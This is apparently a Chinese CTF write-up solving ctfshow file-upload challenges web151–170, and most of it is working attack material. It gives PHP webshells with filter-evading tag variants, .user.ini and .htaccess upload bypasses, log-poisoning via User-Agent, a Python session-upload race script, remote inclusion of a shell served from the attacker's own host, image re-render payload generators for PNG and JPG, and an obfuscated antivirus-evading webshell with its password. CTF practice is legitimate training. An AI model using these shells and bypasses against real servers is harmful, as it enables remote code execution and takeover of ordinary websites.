ctfshow-web-文件上传
本文最后更新于 15 天前,其中的信息可能已经有所发展或是发生改变。

web151

前台校验不可靠

上个改后缀的🐎(.png),抓包改php即可上🐎成功

web152

后端校验要严密

同上题,应该是MIME校验吧,注意Content-Type: image/png就行,如果一开始就上的是图片🐎,就不需要改这个了

web153

后端校验要严密

这里改php后缀不好使了,考虑上传.user.ini文件来包含图片🐎

我的.user.ini文件内容:

auto_prepend_file=ma.png

上传一个ma.png文件,里面写一句话🐎,然后去访问/upload,在这里可以连上马,在马里面可以额外写点东西,这样就会显示在页面上,方便知道可不可以连🐎

web154

后端校验要严密

同上题,上传.user.ini和图片🐎,但是发现不能上🐎(<?php @eval($_POST['a']);?>),那就是🐎的内容出了问题,换一个php标签头即可(<?=@eval($_POST['a']);?>),此题应该是限制文件内容不能出现php

php的几种标签头:

<?php @eval($_POST[‘cmd’]); ?> //正常写法

<?=@eval($_POST[‘cmd’]); ?> //短标签,适合过滤php

<% @eval($_POST[‘cmd’]); %> //asp风格

<script language=’php’>@eval($_POST[‘cmd’]);</script> //<script>风格,适合过滤<?

web155

后端校验要严密

同上题,短标签可以通杀

web156

后端校验要严密

在短标签的基础上过滤了[],依旧上.user.ini和图片🐎,只不过把[]换成{}

 <?= @eval($_POST{'a'});?>

web157

后端校验要严密

依旧先上.user.ini,但是上一题的🐎已经上不去了,fuzz一下可以发现{}都给我ban了,那就不写马了,直接rce,;也没了,flag还不是放在当前目录,而是下一层目录

最后的🐎长这样

 <?=system("nl ../*")?>

web158

后端校验要严密

同上题

web159

后端校验要严密

{}[]()都ban了,用反引号来rce:``

照例上.user.ini,木马如下:

 <?=`nl ../*`?>

web160

后端校验要严密

反引号也被ban了,include文件包含,上.user.ini,再上马文件包含

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

User-Agent:

<?php @eval(system('nl ../*'));?>

web161

在上题基础上加上GIF89a即可绕过

.user.ini不变,对文件包含处改动:

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

User-Agent:

<?php @eval(system('nl ../*'));?>

web162

后端校验要严密

上传.user.ini的时候发现.被过滤了,可以打session包含了

.user.ini

GIF89a
auto_prepend_file=/tmp/sess_sh#名字随便写就行

session脚本:

注意,用http,用https可能报错

import requests
import threading
import re
 
# 创建一个会话对象,保持会话的状态
session = requests.session()
 
# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'sh'
 
# 目标URL
url1 = "http://c1542bc0-861f-48b5-8ece-6b3bfb618295.challenge.ctf.show/"
url2 = "http://c1542bc0-861f-48b5-8ece-6b3bfb618295.challenge.ctf.show/upload"
 
# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
}
 
# 要上传的文件数据
file = {
    'file': '111'  # 文件名可以随意设置
}
 
# 设置会话cookie
cookies = {
    'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
}
 
# 定义上传文件的函数,持续发送POST请求
def upload_file():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)
 
# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
    while True:
        response = session.get(url2)  # 访问目标URL,检查是否能获取到flag
        if 'flag' in response.text:  # 检查返回内容中是否包含flag
            # 正则匹配flag,格式为ctfshow{}
            flag = re.search(r'ctfshow{.+}', response.text)
            if flag:
                print(flag.group())  # 如果找到flag,打印它
 
# 创建两个线程,一个上传文件,一个检查flag
threads = [
    threading.Thread(target=upload_file),
    threading.Thread(target=check_flag)
]
 
# 启动所有线程
for t in threads:
    t.start()

一边包含一边跑脚本即可

web163

session包含的打法同上,这里想尝试另一种打法,远程包含

远程包含需要起flask服务,同时把ip改为int型(没有.

app.py:

启动服务:python3 app.py

#app.py
from flask import Flask, send_file

app = Flask(__name__)

@app.route('/11')
def provide_file():
    filename = '11'  
    return send_file(filename)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

11(🐎):

<?php @eval($_POST['a']);?>

当然不一定非要flask服务,直接python起也可以

python启动http:python -m http.server 5000

然后上传.user.ini文件

GIF89a
auto_prepend_file=http://转换出来的长整型ip:5000/11

访问/upload/ 执行命令就行了

web164

后端校验要严密

这一题对文件内容做了过滤,使得🐎和.user.ini语句都不能上传,同时.jpg无法上传,只能上传.png

上一张图片:发现图片的名字是被改过的,可以怀疑他进行了渲染

png的二次渲染:

原文链接:https://blog.csdn.net/qq_65165505/article/details/141370798

PNG文件的结构主要包括以下几个部分:

  • 文件头(IHDR):包含图像的基本信息,作为第一个数据块出现并只出现一次。
  • 调色板数据块(PLTE):必须放在图像数据块之前。
  • 图像数据块(IDAT):存储实际的图像数据,PNG允许包含多个连续的图像数据块。
  • 图像结束数据(IEND):放在文件尾部,表示PNG数据流的结束。

PNG文件由一个8字节的文件署名和至少三个数据块按照特定顺序排列而成,数据块分为关键数据块和辅助数据块

二次渲染漏洞的产生原因:

  • 不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。
  • 损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。
  • 利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。

PNG 二次渲染漏洞的典型利用方式:

  • 篡改块内容或顺序: 攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如:
    • 在一个浏览器中,图像可能被正常显示;而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。
  • 损坏的图像数据: 通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。
  • 颜色管理和透明度问题: PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如:
    • 在某些浏览器中,图像可能会显示为透明;
    • 在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。
  • 文本注释块(tEXt)滥用: 某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。

制作图片脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

生成后的文件名为1.png,内容为:<?=$_GET[0]($_POST[1]);?>,RCE即可

web165

区别在于上一题只允许.png图片,这一题是.jpg图片

jpg图像文件结构:

一个典型的JPG文件由多个段组成,每个段都有特定的标识符和数据。常见的段包括:

  • SOI(Start of Image):图像开始标志
  • APPn(Application segments):应用程序自定义数据段
  • DQT(Define Quantization Table):量化表定义
  • DHT(Define Huffman Table):哈夫曼表定义
  • SOS(Start of Scan):扫描开始标志
  • EOI(End of Image):图像结束标志

jpg图片第一次解析和渲染:

当一个JPG文件被加载时,图像解析器会读取文件并将其内容转换为内存中的数据结构。解析器会逐段解析文件,并根据段内的指令和数据生成对应的图像。

  • 解析头部信息:读取SOI和EOI标志,确定文件的边界。
  • 解析数据段:逐个解析APPn、DQT、DHT、SOS等段,解码图像数据并渲染。

二次渲染漏洞的产生:

  • 修改APPn段:在第一次解析时,攻击者通过APPn段嵌入恶意数据,使解析器在后续处理时触发漏洞。
  • 伪造数据段:攻击者修改DQT或DHT段,使得在二次渲染时解析器崩溃或执行恶意代码。

生成脚本:

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
                
    $miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用指令:

php 脚本名称 图片名称
#出现Success!即为制作成功

这里的二次渲染貌似不是什么图片都能成的,我用我自己头像试的时候成了,附上原图:

web166

后端校验要严密

手测了一下格式发现能上.zip文件,那就zip注入

找个zip压缩包,往里面插一句话木🐎,传上去,然后开拦截点下载文件即可RCE

web167

后端校验要严密

提示httpd,这是apache服务器配置文件,这里得上jpg文件

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

写一下.htaccess文件,后缀加个.jpg抓包再删掉

AddType application/x-httpd-php .jpg

然后上个.jpg的🐎,点击下载文件就能跳转到上马的页面,直接RCE

web168

后端校验要严密

提示基础免杀,fuzz字符,发现过滤了eval,POST等常见写🐎的函数,提示做免杀,用REQUEST接受传入的数据构造命令是可行的

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

另外,找到一个免杀🐎:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU

也可以用反引号执行文件,如

<?php echo `ls /`;?>

web169

后端校验要严密

手测一下上传,只有zip能传上去,但是抓包可以随便改后缀

需要修改Content-Type: image/png

fuzz一下过滤,ban了大部分符号,尝试远程包含,用到.user.ini文件如下

auto_append_file=http://你的vpsIP/文件名
# 该文件可以是无后缀的(应对过滤.的情况),ip地址也可以是int型的,文件里提前写好🐎

然后再随便上个php文件,访问这个文件,就会执行远程包含了,即可rce

web170

后端校验要严密

上题的远程包含应该也能做,这里尝试其他打法,包含日志,日志写🐎,需要修改Content-Type: image/png

提前上好一个php文件,.user.ini如下:

auto_append_file=/var/log/nginx/access.log

访问这个php文件就能看到日志了,修改ua头注入

评论

  1. yyyspark
    3 周前
    2025-7-04 18:00:29

    ddw,呜呜呜~

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇